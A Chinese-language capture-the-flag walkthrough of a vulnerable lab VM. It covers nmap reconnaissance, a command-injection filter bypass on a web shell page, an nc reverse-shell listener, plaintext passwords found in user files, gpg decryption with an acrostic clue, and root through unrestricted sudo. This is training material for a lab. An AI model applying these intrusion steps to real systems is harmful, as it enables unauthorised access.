总体思路
nmap扫描
端口扫描
PORT STATE SERVICE 21/tcp open ftp 80/tcp open http 25468/tcp open unknown
开放端口及系统详细信息扫描
PORT STATE SERVICE VERSION 21/tcp open ftp ProFTPD 1.3.5b 80/tcp open http Apache httpd 2.4.25 ((Debian)) | http-robots.txt: 4 disallowed entries | /login.php /dev_shell.php /lat_memo.html |_/passwords.html |_http-title: Site doesn't have a title (text/html). |_http-server-header: Apache/2.4.25 (Debian) 25468/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u2 (protocol 2.0) | ssh-hostkey: | 2048 84f2f8e5ed3e14f393d41e4c413ba2a9 (RSA) | 256 5b98c74f846efd566a351683aa9ceaf8 (ECDSA) |_ 256 391656fb4e0f508540d3532241433815 (ED25519) MAC Address: 00:0C:29:D6:DA:0E (VMware) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Network Distance: 1 hop Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
简单脚本扫描
PORT STATE SERVICE 21/tcp open ftp 80/tcp open http |_http-dombased-xss: Couldn't find any DOM based XSS. |_http-stored-xss: Couldn't find any stored XSS vulnerabilities. |_http-csrf: Couldn't find any CSRF vulnerabilities. | http-enum: | /login.html: Possible admin folder |_ /robots.txt: Robots file 25468/tcp open unknown
nmap信息总结和渗透优先级排序
-
21端口是ProFTPD 1.3.5b,可能存在可利用漏洞。
-
80端口是Apache httpd 2.4.25,暴露了一些目录和robots.txt。
-
25468是ssh服务,OpenSSH 7.4p1。
排序:21==>80==>25468
ftp渗透
anonymous登录失败。
版本较低,漏洞库寻找可利用点:
尝试过后,因不知道服务器路径和ftp路径而失败。
Web渗透
页面信息检索
源代码无可用信息,各功能点尝试。可以收集到一些可能存在的用户名。
发现News的源代码有base64:
解码:
得知有password.html。访问之后也无信息可用。
robots.txt
/lat_memo.html:
说有一个Webshell正在运行。
/login.php无法访问。
/dev_shell.php,访问之后是一个可以执行命令的网页:
getshell
执行ls,提示 Get out skid lol 。看来是有一些过滤,需要进行绕过,尝试whoami,可以执行。
那么执行whoami之后再执行ls呢:
可以看到,ls也被执行了。
那么抓个包就可以getshell:
# nc -lvnp 8081 listening on [any] 8081 ... connect to [192.168.137.135] from (UNKNOWN) [192.168.137.153] 50608 bash: cannot set terminal process group (607): Inappropriate ioctl for device bash: no job control in this shell www-data@Milburg-High:/var/www/html$
提权
常规提权遍历,sudo有两个命令,但是不可利用。/etc/passwd和/etc/shadow权限正常。无自动任务。
在bob的家目录的/Downloads文件夹发现图片,下载查看,并无信息。
Document发现login.txt.gpg加密文件,同目录下发现Secret目录,可能是这个gpg解密的密码,目录的尽头有个notes.sh。但是执行之后输出了一些字符。
-= Notes =- Harry Potter is my faviorite Are you the real me? Right, I'm ordering pizza this is going nowhere People just don't get me Ohhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh <sea santy here> Cucumber Rest now your eyes are sleepy Are you gonna stop reading this yet? Time to fix the server Everyone is annoying Sticky notes gotta buy em
而且,此时的权限并不能使用gpg解密,权限不够:
www-data@Milburg-High:/home/bob/Documents$ gpg -d ./login.txt.gpg gpg -d ./login.txt.gpg gpg: Fatal: can't create directory '/var/www/.gnupg': Permission denied
.old_passwordfile.html发现了有jc和seb的密码:
www-data@Milburg-High:/home/bob$ cat ./.old_passwordfile.html cat ./.old_passwordfile.html <html> <p> jc:Qwerty seb:T1tanium_Pa$$word_Hack3rs_Fear_M3 </p> </html> www-data@Milburg-High:/home/bob$
jc和seb都可以用此密码切换成功:
www-data@Milburg-High:/home/bob/Documents$ su jc su jc Password: Qwerty jc@Milburg-High:/home/bob/Documents$ whoami whoami jc
www-data@Milburg-High:/home/bob/Documents$ su seb su seb Password: T1tanium_Pa$$word_Hack3rs_Fear_M3 seb@Milburg-High:/home/bob/Documents$ whoami whoami seb seb@Milburg-High:/home/bob/Documents$
现在得到了真正的用户权限,去解密gpg文件,看下权限是否可以:
显示agent不允许,用su切换过来的用户不允许。那么直接ssh登录再次尝试:
可以执行了,但是不知道密码。这里尝试了之前得到的所有密码,都不可行。
那么,有没有可能去寻找到这个密码呢?
之后在elliot用户家目录找到theadminisdumb.txt,得到了elliot的密码。但是依旧是没有找到任何密码。还在各个用户的Downloads目录里找到一些图片,图片字符,隐写也没有密码。
遇到瓶颈
现在,得到了3个用户的shell,但是都无法提权到root,需要得到bob的shell,现在bob的login.txt.gpg无法破解,里面大概率就是密码,现在所有的密码全部尝试过,都无法进行破解。
解决
回想一下刚刚的关键信息,在login.txt.gpg的同目录下,有一个Secret目录,明显是提示,但是只有一个notes.sh。输出内容如下:
-= Notes =- Harry Potter is my faviorite Are you the real me? Right, I'm ordering pizza this is going nowhere People just don't get me Ohhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh <sea santy here> Cucumber Rest now your eyes are sleepy Are you gonna stop reading this yet? Time to fix the server Everyone is annoying Sticky notes gotta buy em
每一行的开头都是大写,拼接起来是:HARPOCRATES
这里如果真是提示,那么也只能想到这里了。
尝试之后,发现就是密码,解密如下:
得到了bob的密码:b0bcat_
切换bob:
jc@Milburg-High:/home/bob/Documents$ su bob Password: bob@Milburg-High:~/Documents$
root提权
bob用户sudo是:
bob@Milburg-High:~/Documents$ sudo -l [sudo] password for bob: Matching Defaults entries for bob on Milburg-High: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User bob may run the following commands on Milburg-High: (ALL : ALL) ALL
那么直接可以获取root:
bob@Milburg-High:~/Documents$ sudo /bin/bash root@Milburg-High:/home/bob/Documents# whoami root root@Milburg-High:/home/bob/Documents#
靶机总结和认知成长
-
需要掌握命令注入的绕过手法。
-
进到系统之后,不要因为懒惰和自以为是就自动化的过滤掉一些文件夹的信息收集,这是致命的。可以使用ls -lR将当前目录下的目录全部打开。
-
gpg文件时一种加密文件,使用gpg -d 可以进行解密。
-
su切换的用户可能存在一些权限问题,因此,su切换的用户遇到agent权限问题时,应该想到去ssh直接登录。
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)